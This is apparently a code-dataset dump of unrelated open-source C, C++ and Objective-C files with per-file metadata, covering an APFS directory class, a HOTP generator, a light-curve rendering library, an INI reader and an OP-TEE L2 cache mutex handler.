IN const FileInfo* pInfo, OUT CUnixDir** pDir ) const; //initialize enumerator virtual int InitEnumerator( IN size_t Options, OUT CUnixEnumerator** pEnum, IN CUnixInode* pInode = NULL ) const; virtual int UnlinkInternal( IN CUnixInode* pInode, IN CFSObject* Fso, IN FileInfo Info ) const; }; //CDir implementation for volumes dir (emulated directory where all volumes are shown as directories) class CApfsVolumeDir : public CApfsDir { public: CApfsVolumeDir(CUnixFileSystem* pFS) : CApfsDir(pFS) {} //================================================================= // Redefine virtual functions for CApfsVolumeDir //================================================================= virtual int Init( IN UINT64 Inode, IN CDir* pParent, IN CUnixInode* pInode, IN api::STRType Type, IN const void* Name, IN unsigned NameLen ); // Counts subdirectories and/or files virtual int GetSubDirAndFilesCount( OUT bool* IsEmpty, // may be NULL OUT size_t* SubDirsCount, // may be NULL OUT size_t* FilesCount // may be NULL ); // Returns this object ID virtual UINT64 GetObjectID() const { return APFS_VOLUMES_DIR_ID; } // Returns parent unique ID virtual UINT64 GetParentID(IN unsigned int /*Pos*/) const { return APFS_ROOT_INO; } virtual int GetObjectInfo(OUT t_FileInfo& Info); virtual int Flush(IN bool bDelete) { if (bDelete) Destroy(); return ERR_NOERROR; } virtual bool IsReadOnly() { return true; } //================================================================= // Functions which using m_pInode and write functions is not implemented //================================================================= virtual int ListEa( OUT void* /*Buffer*/, IN size_t /*BytesPerBuffer*/, OUT size_t* Bytes ) { *Bytes = 0; return ERR_NOERROR; } virtual int GetEa( IN const char* /*Name*/, IN size_t /*NameLen*/, OUT void* /*Value*/, IN size_t /*BytesPerValue*/, OUT size_t* /*Len*/ ) { return ERR_NOFILEEXISTS; } virtual int SetEa( IN const char* /*Name*/, IN size_t /*NameLen*/, IN const void* /*Value*/, IN size_t /*BytesPerValue*/, IN size_t /*Flags*/ ) { return ERR_NOTIMPLEMENTED; } virtual int SetObjectInfo( IN const t_FileInfo& /*Info*/, IN size_t /*Flags*/) { #ifdef UFSD_DRIVER_LINUX return ERR_NOERROR; #else return ERR_NOTIMPLEMENTED; #endif } virtual int Unlink( IN api::STRType /*Type*/, IN const void * /*Name*/, IN size_t /*NameLen*/, IN CFSObject* /*Fso*/ = NULL ) { return ERR_NOTIMPLEMENTED; } virtual int Create( IN api::STRType /*Type*/, IN const void* /*Name*/, IN size_t /*NameLen*/, IN unsigned short /*Mode*/, IN unsigned int /*Uid*/, IN unsigned int /*Gid*/, IN const void* /*Data*/, IN size_t /*DataLen*/, OUT CFSObject** /*Fso*/ ) { return ERR_NOTIMPLEMENTED; } virtual int CreateDir( IN api::STRType /*Type*/, IN const void* /*Name*/, IN size_t /*NameLen*/, OUT CDir** /*pDir*/ ) { return ERR_NOTIMPLEMENTED; } virtual int CreateFile( IN api::STRType /*Type*/, IN const void* /*Name*/, IN size_t /*NameLen*/, OUT CFile** /*pFile*/ ) { return ERR_NOTIMPLEMENTED; } virtual int Rename( IN api::STRType /*Type*/, IN const void* /*SrcName*/, IN size_t /*SrcLen*/, IN CFSObject* /*Src*/, IN CDir* /*TgtDir*/, IN const void* /*DstName*/, IN size_t /*DstLen*/ ) { return ERR_NOTIMPLEMENTED; } virtual int Link( IN CFSObject* /*Fso*/, IN api::STRType /*Type*/, IN const void* /*Name*/, IN size_t /*NameLen*/ ) { return ERR_NOTIMPLEMENTED; } private: virtual int InitEnumerator( IN size_t Options, OUT CUnixEnumerator** pEnum, IN CUnixInode* pInode = NULL ) const; //internal function for destroying object called from CUnixDir::CloseParent virtual void DestroyInternal() { delete this; } //Set name fields #ifdef UFSD_DRIVER_LINUX int SetVolumeDirName( IN CDir* pParent, IN api::STRType Type, IN const void* Name, IN unsigned int NameLen ) { m_tObjectType = FSObjDir; m_Parent = pParent; Free2(m_aName); m_aName = (unsigned short*)Malloc2((NameLen + 1) * sizeof(unsigned short)); #ifndef UFSD_MALLOC_CANT_FAIL if (NULL == m_aName) return ERR_NOMEMORY; #endif Memcpy2(m_aName, Name, NameLen); m_tNameType = (unsigned char)Type; m_NameLen = (unsigned short)NameLen; reinterpret_cast<unsigned short*>(m_aName)[NameLen] = 0; return ERR_NOERROR; } #endif }; } // namespace apfs } // namespace UFSD #endif
0.996094
high
RACAFNetworking/RACAFNetworking/RACSubscriber+AFProgressCallbacks.h
zhaochengfeng/RACAFNetworking
4
827073
// // RACSubscriber+AFProgressCallbacks.h // AFNetworking+ReactiveObjC // // Created by 赵成峰 on 2018/5/25. // Copyright © 2018年 chengfeng. All rights reserved. // #import <ReactiveObjC/ReactiveObjC.h> #import <ReactiveObjC/RACPassthroughSubscriber.h> @interface RACPassthroughSubscriber (KLProgress) - (void)sendProgress:(float)p; @end @interface KLRACSubscriber: NSObject<RACSubscriber> + (instancetype)subscriberWithNext:(void (^)(id x))next progress:(void (^)(float progress))progress error:(void (^)(NSError *error))error completed:(void (^)(void))completed; - (void)sendProgress:(float)p; - (void)sendNext:(id)value; - (void)sendError:(NSError *)error; - (void)sendCompleted; - (void)didSubscribeWithDisposable:(RACCompoundDisposable *)disposable; @end @interface RACSignal (KLProgressSubscriptions) // Convenience method to subscribe to the `progress` and `next` events. - (RACDisposable *)subscribeProgress:(void (^)(float progress))progress next:(void (^)(id x))nextBlock ; // Convenience method to subscribe to the `progress`, `next` and `completed` events. - (RACDisposable *)subscribeProgress:(void (^)(float progress))progress next:(void (^)(id x))nextBlock completed:(void (^)(void))completedBlock; // Convenience method to subscribe to the `progress`, `next`, `completed`, and `error` events. - (RACDisposable *)subscribeProgress:(void (^)(float progress))progress next:(void (^)(id x))nextBlock error:(void (^)(NSError *error))errorBlock completed:(void (^)(void))completedBlock; - (RACDisposable *)subscribeProgress:(void (^)(float progress))progress completed:(void (^)(void))completedBlock; // Convenience method to subscribe to `progress`, `next` and `error` events. - (RACDisposable *)subscribeProgress:(void (^)(float progress))progress next:(void (^)(id x))nextBlock error:(void (^)(NSError *error))errorBlock; // Convenience method to subscribe to `progress`, `error` and `completed` events. - (RACDisposable *)subscribeProgress:(void (^)(float progress))progress error:(void (^)(NSError *error))errorBlock completed:(void (^)(void))completedBlock; @end
0.945313
high
libminitotp/hotp.c
00-matt/minitotp
7
827585
<filename>libminitotp/hotp.c #include <minitotp.h> #include <assert.h> #include <stddef.h> #include <stdint.h> #include <string.h> #include "bits.h" #include "hmac-sha1.h" #include "pad-otp.h" static uint32_t dynamic_truncate(uint8_t hmac[20]) { int o = hmac[19] & 0x0F; return ((uint32_t)(hmac[o] & 0x7F)) << 24 | ((uint32_t)(hmac[o + 1] & 0xff)) << 16 | (hmac[o + 2] & 0xff) << 8 | (hmac[o + 3] & 0xff); } static uint32_t mpow10(uint32_t n) { int ret = 1; while (n--) { ret *= 10; } return ret; } static uint32_t mod(uint32_t truncated, int len) { return truncated % mpow10(len); } char *mtotp_hotp_l(const char *secret, size_t secret_len, uint64_t counter, int length, char *buf) { assert(secret_len > 0); assert(length >= 6); counter = htobe64(counter); uint8_t hmac[20]; hmac_sha1((const uint8_t *)secret, secret_len, (const uint8_t *)&counter, sizeof(counter), hmac); uint32_t code = mod(dynamic_truncate(hmac), length); pad_otp(code, length, buf); return buf; } char *mtotp_hotp(const char *secret, uint64_t counter, int length, char *buf) { const size_t secret_len = strlen(secret); return mtotp_hotp_l(secret, secret_len, counter, length, buf); }
0.996094
high
Class/UIView+SimpleFrame.h
kangsazang/TestPod
0
828097
// // UIView+SimpleFrame.h // KBaseLib // // Created by KangC on 2016. 4. 19.. // Copyright © 2016년 Chans. All rights reserved. // #import <UIKit/UIKit.h> @interface UIView (SimpleFrame) @property (nonatomic) CGFloat x; @property (nonatomic) CGFloat y; @property (nonatomic) CGFloat w; @property (nonatomic) CGFloat h; - (void)setX:(CGFloat)x animate:(BOOL)animate; - (void)setY:(CGFloat)y animate:(BOOL)animate; - (void)setW:(CGFloat)w animate:(BOOL)animate; - (void)setH:(CGFloat)h animate:(BOOL)animate; @end
0.613281
medium
XMLLayout/Classes/Loader/XLLayoutLoader.h
scubers/XMLLayout
0
828609
// // XLLayoutLoader.h // XMLLayout // // Created by 王俊仁 on 2018/8/26. // #import <Foundation/Foundation.h> #import "XLBaseLayoutMaker.h" @interface XLLayoutLoader : NSObject + (XLLayoutLoader *)defaultLoader; - (XLLayoutContext *)loadXMLFile:(NSString *)filePath fileHolder:(id)fileHolder; @end
0.667969
high
src/MainMenuState.h
Speedy-code13/Shawarma.is-SFML-2022
0
829121
<reponame>Speedy-code13/Shawarma.is-SFML-2022 #pragma once #include "GameState.h" #include "SettingsState.h" class MainMenuState : public State { private: enum class MusicBtnState{ MAX = 0, LOWER, OFF }; MusicBtnState buttonState; sf::Font font; sf::RectangleShape background; std::vector<sf::Music*> musics; sf::RectangleShape musicButton; sf::Music* music; sf::IntRect currentMusicRect; unsigned short numberOfMusics; std::map<std::string, std::unique_ptr<gui::Button>> buttons; private: //Initializers void initVariables(); void initFont(); void initTextures(); void initMusicButton(); void initBackground(); void initButtons(); //Private Functions void positionButton(const std::string &name, const float offset); void positionAllButtons(); void updateInput(); void updateMusicButton(); void updateResolution(); void updateButtons(); void saveSettings(); void loadSettings(); void loadMusics(); void endState(); public: //Constructor & Deconstructor MainMenuState(StateData* stateData); virtual ~MainMenuState(); void update(); void render(); };
0.957031
high
Core/INIReader/INIReader.h
DanielEverland/Artemis
1
829633
#pragma once #include <map> #include <string> using std::map; using std::string; #define GET(category, valueName, defaultValue, converter) if(!Contains(category, valueName)) \ return defaultValue; \ return converter(values[category][valueName]); class INIReader { public: explicit INIReader(); explicit INIReader(const string& filePath); bool Contains(const string& category, const string& valueName); template<class T> T Get(const string& category, const string& valueName) { return Get<T>(category, valueName, T()); } template<> string Get(const string& category, const string& valueName) { return Get<string>(category, valueName, ""); } template<> int Get(const string& category, const string& valueName) { return Get<int>(category, valueName, 0); } template<> float Get(const string& category, const string& valueName) { return Get<float>(category, valueName, 0.f); } template<> double Get(const string& category, const string& valueName) { return Get<double>(category, valueName, 0.); } template<class T> T Get(const string& category, const string& valueName, T defaultValue); template<> string Get(const string& category, const string& valueName, string defaultValue); template<> int Get(const string& category, const string& valueName, int defaultValue); template<> float Get(const string& category, const string& valueName, float defaultValue); template<> double Get(const string& category, const string& valueName, double defaultValue); private: map<string, map<string, string>> values; void ReadFile(const string& filePath); void LoadValue(string& line, const string& category); static bool IsCategoryLine(const string& line); static void CheckCategoryLine(const string& line); static void LoadCategoryLine(string& line, string& category); static void CheckValueLine(const string& line, const string& category); }; template <class T> T INIReader::Get(const string& category, const string& valueName, T defaultValue) { GET(category, valueName, defaultValue, [](const string& value) -> T { return value; }) }
0.976563
high
include/lightcurvelib.c
liamrobinson1/Light-Curve-Engine
0
830145
<reponame>liamrobinson1/Light-Curve-Engine #include <stdio.h> #include <stdlib.h> #include <string.h> #include <raylib.h> #include <raymath.h> #define HEADER_OFFSET 21 #define DATA_OFFSET 11 #define DATA_LINE_LENGTH 66 #define GLSL_VERSION 330 #define MAX_INSTANCES 25 void ReadLightCurveCommandFile(char *filename, char *model_name, int *instances, int *screen_pixels, Vector3 sun_vectors[], Vector3 viewer_vectors[], int *data_points, char *results_file, int *frame_rate); Image LoadImageFromScreenFixed(void); void printMatrix(Matrix m); Matrix CalculateMVPFromCamera(Camera light_camera, Vector3 offset); Matrix CalculateMVPBFromMVP(Matrix mvp_light); void SaveScreen(char fname[]); float CalculateCameraArea(Camera cam); float CalculateMeshScaleFactor(Mesh mesh, Camera cam, int instances); //Finds the factor required to scale all vertices down to fit the model in a unit cube Mesh ApplyMeshScaleFactor(Mesh mesh, float sf); Vector3 TransformOffsetToCameraPlane(Camera cam, Vector3 offset); void GenerateTranslations(Vector3 *mesh_offsets, Camera cam, int instances); void CalculateRightAndTop(Camera cam, float *right, float *top); void InitializeViewerCamera(Camera *cam); void GetLCShaderLocations(Shader *depthShader, Shader *lighting_shader, Shader *brightness_shader, Shader *light_curve_shader, Shader *min_shader, int depth_light_mvp_locs[], int lighting_light_mvp_locs[], int instances); void CalculateLightCurveValues(float lightCurveFunction[], RenderTexture2D minifiedLightCurveTex, RenderTexture2D brightnessTex, float clipping_area, int instances, float scale_factor); void printVector3(Vector3 vec, const char name[]); void WriteLightCurveResults(char results_file[], float light_curve_results[], int data_points); void ClearLightCurveResults(char results_file[]); void ReadLightCurveCommandFile(char *filename, char *model_name, int *instances, int *screen_pixels, Vector3 sun_vectors[], Vector3 viewer_vectors[], int *data_points, char *results_file, int *frame_rate) { char *file_contents = LoadFileText(filename); int line_count; //Header parsing int model_index = TextFindIndex(file_contents, "Model File"); // Find first text occurrence within a string int instances_index = TextFindIndex(file_contents, "Instances"); // Find first text occurrence within a string int dimensions_index = TextFindIndex(file_contents, "Square Dimensions"); // Find first text occurrence within a string int format_index = TextFindIndex(file_contents, "Format "); // Find first text occurrence within a string int reference_frame_index = TextFindIndex(file_contents, "Reference Frame"); // Find first text occurrence within a string int data_points_index = TextFindIndex(file_contents, "Data Points"); // Find first text occurrence within a string int results_file_index = TextFindIndex(file_contents, "Expected .lcr Name"); // Find first text occurrence within a string int frame_rate_index = TextFindIndex(file_contents, "Target Framerate"); // Find first text occurrence within a string int begin_data_index = TextFindIndex(file_contents, "Begin data"); // Find first text occurrence within a string char delim[] = "\n"; char *model_file_name = TextReplace(strtok(file_contents + model_index + HEADER_OFFSET, delim), " ", ""); *instances = atoi(strtok(file_contents + instances_index + HEADER_OFFSET, delim)); *screen_pixels = atoi(strtok(file_contents + dimensions_index + HEADER_OFFSET, delim)); char *format = TextReplace(strtok(file_contents + format_index + HEADER_OFFSET, delim), " ", ""); char *reference_frame = TextReplace(strtok(file_contents + reference_frame_index + HEADER_OFFSET, delim), " ", ""); *data_points = atoi(strtok(file_contents + data_points_index + HEADER_OFFSET, delim)); char *results_file_temp = TextReplace(strtok(file_contents + results_file_index + HEADER_OFFSET, delim), " ", ""); *frame_rate = atoi(strtok(file_contents + frame_rate_index + HEADER_OFFSET, delim)); for(int i = 0; i < strlen(results_file_temp); i++) { results_file[i] = results_file_temp[i]; } for(int i = 0; i < strlen(model_file_name); i++) { model_name[i] = model_file_name[i]; } printf("%s\n", model_file_name); printf("%d\n", *instances); printf("%s\n", format); printf("%s\n", reference_frame); printf("%s\n", results_file); //Sun/viewer data parsing for(int line_num = 0; line_num < *data_points; line_num++) { char *data = strtok(file_contents + begin_data_index + 10 + DATA_LINE_LENGTH * line_num, delim); if(line_num > 1) { data = strtok(file_contents + begin_data_index + 10 + (DATA_LINE_LENGTH) * line_num - line_num + 1, delim); } data = TextReplace(data, " ", ","); data = TextReplace(data, " ", ","); data = TextReplace(data, " ", ","); // printf("%s\n", data); double sun_vector_x = atof(strtok(data, ",")); double sun_vector_y = atof(strtok(NULL, ",")); double sun_vector_z = atof(strtok(NULL, ",")); double viewer_vector_x = atof(strtok(NULL, ",")); double viewer_vector_y = atof(strtok(NULL, ",")); double viewer_vector_z = atof(strtok(NULL, ",")); Vector3 sun_vector = {sun_vector_x, sun_vector_y, sun_vector_z}; Vector3 viewer_vector = {viewer_vector_x, viewer_vector_y, viewer_vector_z}; sun_vectors[line_num] = sun_vector; viewer_vectors[line_num] = viewer_vector; } return; } // Load image from screen buffer and (screenshot) Image LoadImageFromScreenFixed(void) { Image image = { 0 }; image.width = GetScreenWidth() * 2; //Probably an artifact of the retina display... to do: coeck on other devices image.height = GetScreenHeight() * 2; image.mipmaps = 1; image.format = PIXELFORMAT_UNCOMPRESSED_R8G8B8A8; image.data = rlReadScreenPixels(image.width, image.height); return image; } void printMatrix(Matrix m) { printf("\n[ %f %f %f %f\n %f %f %f %f\n %f %f %f %f\n %f %f %f %f ]\n", m.m0, m.m4, m.m8, m.m12, m.m1, m.m5, m.m9, m.m13, m.m2, m.m6, m.m10, m.m14, m.m3, m.m7, m.m11, m.m15); } Matrix CalculateMVPFromCamera(Camera cam, Vector3 offset) //Calculates the MVP matrix for a camera { Matrix matView = MatrixLookAt(cam.position, cam.target, cam.up); //Calculate camera view matrix float top; float right; CalculateRightAndTop(cam, &right, &top); Matrix matProj = MatrixOrtho(-right, right, -top, top, 0.01, 1000.0); // Calculate camera projection matrix return MatrixMultiply(MatrixMultiply(matView, MatrixTranslate(offset.x, offset.y, offset.z)), matProj); //Computes the light MVP matrix } Matrix CalculateMVPBFromMVP(Matrix MVP) //Calculates the biased MVP matrix for texture sampling { Matrix bias_matrix = {0.5, 0.0, 0.0, 0.0, 0.0, 0.5, 0.0, 0.0, 0.0, 0.0, 0.5, 0.0, 0.5, 0.5, 0.5, 1.0}; //Row-major form of the bias matrix (takes homogeneous coords [-1, 1] -> texture coords [0, 1]) return MatrixMultiply(MVP, MatrixTranspose(bias_matrix)); //Adds the bias for texture sampling } float CalculateCameraArea(Camera cam) { float top; float right; CalculateRightAndTop(cam, &right, &top); return 4.0*top*right; } void CalculateRightAndTop(Camera cam, float *right, float *top) { float aspect = 1; //Screen aspect ratio *top = (float) cam.fovy/2.0; //Half-height of the clipping plane *right = *top*aspect; //Half-width of the clipping plane } void SaveScreen(char fname[]) //Saves the current screen image to a file { Image screen_image = LoadImageFromScreenFixed(); // int success = ExportImage(screen_image, fname); printf("Saved image!\n"); } float CalculateMeshScaleFactor(Mesh mesh, Camera cam, int instances) //Finds the factor required to scale all vertices down to fit the model in a unit cube { float largest_disp = 0.0; for(int i = 0; i < mesh.vertexCount; i++) { Vector3 vertex = {mesh.vertices[i*3+0], mesh.vertices[i*3+1], mesh.vertices[i*3+2]}; float vertex_disp = Vector3Length(vertex); if(vertex_disp > largest_disp) largest_disp = vertex_disp; } int grid_width = (int) ceil(sqrt(instances)); float top; float right; CalculateRightAndTop(cam, &right, &top); return (largest_disp / top) * grid_width; } Mesh ApplyMeshScaleFactor(Mesh mesh, float sf) { for(int i = 0; i < mesh.vertexCount; i++) { mesh.vertices[i*3] = mesh.vertices[i*3]/sf; mesh.vertices[i*3+1] = mesh.vertices[i*3+1]/sf; mesh.vertices[i*3+2] = mesh.vertices[i*3+2]/sf; } return mesh; } Vector3 TransformOffsetToCameraPlane(Camera cam, Vector3 offset) { Vector3 basis1 = cam.up; Vector3 normal = Vector3Scale(cam.position, 1.0 / Vector3Length(cam.position)); Vector3 basis2 = Vector3CrossProduct(basis1, normal); Matrix camera_basis = MatrixTranspose((Matrix) {basis2.x, basis2.y, basis2.z, 0.0, basis1.x, basis1.y, basis1.z, 0.0, normal.x, normal.y, normal.z, 0.0, 0.0, 0.0, 0.0, 1.0}); Vector3 transformed_offset = Vector3Transform(offset, camera_basis); return transformed_offset; } void GenerateTranslations(Vector3 *mesh_offsets, Camera cam, int instances) { float top; float right; CalculateRightAndTop(cam, &right, &top); int square_below = (int) ceil(sqrt(instances)); int index = 0; for(int i = 0; i < square_below; i++) { for(int j = 0; j < square_below; j++) { Vector3 absolute_offset = {-right * (square_below - 1.0) + i * (square_below + (4.0 - square_below)), -top * (square_below - 1.0) + j * (square_below + (4.0 - square_below)), 0.0}; mesh_offsets[index] = Vector3Scale(absolute_offset, 1.0 / (float) square_below); index++; if(index == instances) break; } } } void InitializeViewerCamera(Camera *cam) { cam->position = (Vector3){ 2.0f, 0.0f, -6.0f }; // Camera position cam->target = (Vector3){ 0.0f, 0.0f, 0.0f }; // Camera looking at point cam->up = (Vector3){ 0.0f, 1.0f, 0.0f }; // Camera up vector (rotation towards target) cam->fovy = 4.0f; // Camera field-of-view Y cam->projection = CAMERA_ORTHOGRAPHIC; // Camera mode type } void GetLCShaderLocations(Shader *depthShader, Shader *lighting_shader, Shader *brightness_shader, Shader *light_curve_shader, Shader *min_shader, int depth_light_mvp_locs[], int lighting_light_mvp_locs[], int instances) { depthShader->locs[0] = GetShaderLocation(*depthShader, "viewPos"); //Location of the viewer position uniform for the depth shader depthShader->locs[1] = GetShaderLocation(*depthShader, "light_mvp"); //Location of the light MVP matrix uniform for the depth shader depthShader->locs[2] = GetShaderLocation(*depthShader, "lightPos"); //Location of the light position uniform for the depth shader depthShader->locs[3] = GetShaderLocation(*depthShader, "model_id"); //Location of the model id uniform for the depth shader for (int i = 0; i < instances; i++) { const char *matName = TextFormat("light_mvps[%d].mat\0", i); depth_light_mvp_locs[i] = GetShaderLocation(*depthShader, matName); } lighting_shader->locs[0] = GetShaderLocation(*lighting_shader, "viewPos"); //Location of the viewer position uniform for the lighting shader lighting_shader->locs[1] = GetShaderLocation(*lighting_shader, "lightPos"); //Location of the light position uniform for the lighting shader lighting_shader->locs[2] = GetShaderLocation(*lighting_shader, "depthTex"); //Location of the depth texture uniform for the lighting shader lighting_shader->locs[3] = GetShaderLocation(*lighting_shader, "mvp_from_script"); //Location of the light MVP matrix uniform for the lighting shader lighting_shader->locs[4] = GetShaderLocation(*lighting_shader, "model_id"); //Location of the light MVP matrix uniform for the lighting shader lighting_shader->locs[5] = GetShaderLocation(*lighting_shader, "light_mvp"); lighting_shader->locs[6] = GetShaderLocation(*lighting_shader, "grid_width"); min_shader->locs[0] = GetShaderLocation(*min_shader, "grid_width"); // for (int i = 0; i < instances; i++) // { // const char *matName = TextFormat("light_mvps[%d].mat\0", i); // lighting_light_mvp_locs[i] = GetShaderLocation(*lighting_shader, matName); // } } void CalculateLightCurveValues(float lightCurveFunction[], RenderTexture2D minifiedLightCurveTex, RenderTexture2D brightnessTex, float clipping_area, int instances, float scale_factor) { int gridWidth = (int) ceil(sqrt(instances)); Image light_curve_image = LoadImageFromTexture(minifiedLightCurveTex.texture); int total_pixels = brightnessTex.texture.width * brightnessTex.texture.height; float instance_total_irrad_est[MAX_INSTANCES]; int grid_pixel_height = light_curve_image.height / gridWidth; //CALCULATING SHADED LC VALUES for(int col = 0; col < light_curve_image.width; col++) { for(int row_instance = 0; row_instance < gridWidth; row_instance++) { float lit_pixels = 0.0; float lighting_factor = 0.0; for(int row_instance_pixel = row_instance * grid_pixel_height; row_instance_pixel < (row_instance + 1) * grid_pixel_height; row_instance_pixel++) { Color pix_color = GetImageColor(light_curve_image, col, row_instance_pixel); if((float) pix_color.g > 0.0) { //for all lit rows lit_pixels += (float) pix_color.g / 255.0 * grid_pixel_height; //number of lit pixels in row lighting_factor += (float) pix_color.r / 255.0 * grid_pixel_height; //Represents the average irrad of each row * the fraction of lit pixels on that row } } float fraction_of_pixels_lit = 1 / pow((double) grid_pixel_height, 2.0); float instance_clipping_area = 1.0 / (float) (gridWidth * gridWidth) * clipping_area; float apparent_model_lit_area_scaled = instance_clipping_area * fraction_of_pixels_lit; float apparent_model_lit_area_unscaled = apparent_model_lit_area_scaled * scale_factor * scale_factor;//removing the mesh scale factor instance_total_irrad_est[row_instance + gridWidth * col] = lighting_factor * apparent_model_lit_area_unscaled / PI; } } UnloadImage(light_curve_image); for(int i = 0; i < instances; i++) { lightCurveFunction[i] = instance_total_irrad_est[i]; } } void printVector3(Vector3 vec, const char name[]) { printf("%s: %.4f, %.4f, %.4f\n", name, vec.x, vec.y, vec.z); } void WriteLightCurveResults(char results_file[], float light_curve_results[], int data_points) { FILE *fptr; fptr = fopen(results_file, "w"); for(int i = 0; i < data_points; i++) { fprintf(fptr, "%f\n", light_curve_results[i]); } fclose(fptr); } void ClearLightCurveResults(char results_file[]) { remove(results_file); }
0.988281
high
samples/GeolocationTest/MyCanvas.h
SatisKia/d2ip
0
830657
<reponame>SatisKia/d2ip #import <Foundation/Foundation.h> #import "_Canvas.h" @class _Geolocation; @interface MyCanvas : _Canvas { _Geolocation* geolocation; int code; int elapse; NSDateFormatter* formatter; } - (void)_suspend; - (void)_resume; @end
0.539063
high
device/devices/midi/midi_device_desc.h
aconstlink/snakeoil
1
831169
//------------------------------------------------------------ // snakeoil (c) <NAME> // Distributed under the MIT license //------------------------------------------------------------ #ifndef _SNAKEOIL_DEVICE_DEVICES_MIDI_MIDI_DEVICE_DESC_H_ #define _SNAKEOIL_DEVICE_DEVICES_MIDI_MIDI_DEVICE_DESC_H_ #include "../../typedefs.h" namespace so_device { struct midi_device_desc { so_this_typedefs( midi_device_desc ) ; so_std::string_t device_name ; }; so_typedef( midi_device_desc ) ; } #endif
0.992188
high
ov7670_config.h
sk94/ov7670
3
831681
<filename>ov7670_config.h /* * OV7670 + LCD or UART * Author: <NAME> */ // resolution #define QQVGA //#define QVGA // show image on lcd (if commented, image is send by UART) //#define WITH_LCD // turn on test_pattern #define test_pattern
0.527344
low
PBFrameworkServices.framework/Headers/NSString+RemoveEmoji.h
PBMain/PBServices
1
832193
<filename>PBFrameworkServices.framework/Headers/NSString+RemoveEmoji.h<gh_stars>1-10 #import <Foundation/Foundation.h> @interface NSString (RemoveEmoji) - (BOOL)containsEmoji; - (BOOL)isIncludingEmoji __attribute__((deprecated)); - (instancetype)stringByRemovingEmoji; @end
0.664063
high
float4.h
MasterKiller1239/Simple-renderer
1
832705
<reponame>MasterKiller1239/Simple-renderer #pragma once #include "Vec3.h" class float4 { public: float x, y, z,w; float p[4]; float4(float _x, float _y, float _z, float _w) : x(_x), y(_y), z(_z), w(_w) { } float4() : x(0), y(0), z(0), w(1.0f) { } float &operator[](int idx) { return p[idx]; }; };
0.855469
high
core/arch/arm32/kernel/tee_l2cc_mutex.c
secureTV/optee_os
1
833217
/* * Copyright (c) 2014, STMicroelectronics International N.V. * All rights reserved. * * Redistribution and use in source and binary forms, with or without * modification, are permitted provided that the following conditions are met: * * 1. Redistributions of source code must retain the above copyright notice, * this list of conditions and the following disclaimer. * * 2. Redistributions in binary form must reproduce the above copyright notice, * this list of conditions and the following disclaimer in the documentation * and/or other materials provided with the distribution. * * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE * ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE * LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF * SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS * INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) * ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE * POSSIBILITY OF SUCH DAMAGE. */ #include <kernel/tee_common.h> #include <kernel/tee_l2cc_mutex.h> #include <mm/tee_mm.h> #include <core_serviceid.h> #include <tee_api_defines.h> #include <mm/core_memprot.h> #include <mm/core_mmu.h> #include <kernel/tee_core_trace.h> /* * l2cc_mutex_va holds teecore virtual address of TZ L2CC mutex or NULL. * * l2cc_mutex_pa holds TZ L2CC mutex physical address. It is relevant only * if 'l2cc_mutex_va' hold a non-NULL address. * * l2cc_mutex_mm hold teecore mm structure used to allocate TZ L2CC mutex, * if allocated. Otherwise, it is NULL. */ #define MUTEX_SZ sizeof(uint32_t) static uint32_t *l2cc_mutex_va; static uint32_t l2cc_mutex_pa; static tee_mm_entry_t *l2cc_mutex_mm; /* * Allocate public RAM to get a L2CC mutex to shared with NSec. * Return 0 on success. */ static int alloc_l2cc_mutex(void) { uint32_t va; if ((l2cc_mutex_va != NULL) || (l2cc_mutex_mm != NULL)) return -1; l2cc_mutex_mm = tee_mm_alloc(&tee_mm_pub_ddr, MUTEX_SZ); if (l2cc_mutex_mm == NULL) return -1; l2cc_mutex_pa = tee_mm_get_smem(l2cc_mutex_mm); if (core_pa2va(l2cc_mutex_pa, &va)) return -1; *(uint32_t *)va = 0; l2cc_mutex_va = (uint32_t *)va; return 0; } /* * tee_l2cc_mutex_configure - Handle L2 mutex configuration requests from NSec * * Policy: * - if NSec did not register a L2 mutex, default allocate it in public RAM. * - if NSec disables L2 mutex, disable the current mutex and unregister it. */ TEE_Result tee_l2cc_mutex_configure(uint32_t service_id, uint32_t *mutex) { uint32_t addr, va; int ret = TEE_SUCCESS; /* * Enable L2CC: NSec allows teecore to run safe outer maintance * with shared mutex. * Disable L2CC: NSec will run outer maintenance with locking * shared mutex. teecore cannot run outer maintenance. * Set L2CC: NSec proposes a Shared Memory locaiotn for the outer * maintenance shared mutex. * Get L2CC: NSec requests the outer maintenance shared mutex * location. If NSec has successufully registered one, * return its location, otherwise, allocated one in NSec * and provided NSec the physical location. */ switch (service_id) { case SERVICEID_ENABLE_L2CC_MUTEX: if (l2cc_mutex_va == 0) { ret = alloc_l2cc_mutex(); if (ret) return TEE_ERROR_GENERIC; } core_l2cc_mutex_set(l2cc_mutex_va); break; case SERVICEID_DISABLE_L2CC_MUTEX: if (l2cc_mutex_mm) { tee_mm_free(l2cc_mutex_mm); l2cc_mutex_mm = NULL; } l2cc_mutex_va = NULL; core_l2cc_mutex_set(NULL); break; case SERVICEID_GET_L2CC_MUTEX: if (l2cc_mutex_va == NULL) { ret = alloc_l2cc_mutex(); if (ret) return TEE_ERROR_GENERIC; } *mutex = l2cc_mutex_pa; break; case SERVICEID_SET_L2CC_MUTEX: if (l2cc_mutex_va != NULL) return TEE_ERROR_BAD_PARAMETERS; addr = *mutex; if (core_pbuf_is(CORE_MEM_NSEC_SHM, addr, MUTEX_SZ) == false) return TEE_ERROR_BAD_PARAMETERS; if (core_pa2va(addr, (uint32_t *)&va)) return TEE_ERROR_BAD_PARAMETERS; l2cc_mutex_pa = addr; l2cc_mutex_va = (uint32_t *)va; break; default: return TEE_ERROR_GENERIC; } return ret; }
0.996094
high
VC/MyFileClass.h
hkujy/VC
0
833729
